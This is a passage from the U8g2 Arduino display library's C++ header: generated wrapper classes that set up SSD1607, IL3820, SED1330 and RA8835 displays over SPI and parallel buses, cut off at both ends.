u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_IL3820_296X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_IL3820_296X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_IL3820_296X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_IL3820_296X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_IL3820_296X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_296X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_IL3820_296X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_296X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_IL3820_V2_296X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_IL3820_V2_296X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SED1330_240X128_1_6800 : public U8G2 {\n  public: U8G2_SED1330_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_240X128_1_8080 : public U8G2 {\n  public: U8G2_SED1330_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_240X128_2_6800 : public U8G2 {\n  public: U8G2_SED1330_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_240X128_2_8080 : public U8G2 {\n  public: U8G2_SED1330_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_240X128_F_6800 : public U8G2 {\n  public: U8G2_SED1330_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_240X128_F_8080 : public U8G2 {\n  public: U8G2_SED1330_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_256X128_1_6800 : public U8G2 {\n  public: U8G2_SED1330_256X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_256x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_256X128_1_8080 : public U8G2 {\n  public: U8G2_SED1330_256X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_256x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_256X128_2_6800 : public U8G2 {\n  public: U8G2_SED1330_256X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_256x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_256X128_2_8080 : public U8G2 {\n  public: U8G2_SED1330_256X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_256x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_256X128_F_6800 : public U8G2 {\n  public: U8G2_SED1330_256X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_256x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_256X128_F_8080 : public U8G2 {\n  public: U8G2_SED1330_256X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_256x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_NHD_240X128_1_6800 : public U8G2 {\n  public: U8G2_RA8835_NHD_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_nhd_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_NHD_240X128_1_8080 : public U8G2 {\n  public: U8G2_RA8835_NHD_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_nhd_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_NHD_240X128_2_6800 : public U8G2 {\n  public: U8G2_RA8835_NHD_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_nhd_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_NHD_240X128_2_8080 : public U8G2 {\n  public: U8G2_RA8835_NHD_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_nhd_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_NHD_240X128_F_6800 : public U8G2 {\n  public: U8G2_RA8835_NHD_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_nhd_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_NHD_240X128_F_8080 : public U8G2 {\n  public: U8G2_RA8835_NHD_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_nhd_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_320X240_1_6800 : public U8G2 {\n  public: U8G2_RA8835_320X240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_320x240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_320X240_1_8080 : public U8G2 {\n  public: U8G2_RA8835_320X240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_320x240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_320X240_2_6800 : public U8G2 {\n  public: U8G2_RA8835_320X240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_320x240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_320X240_2_8080 : public U8G2 {\n  public: 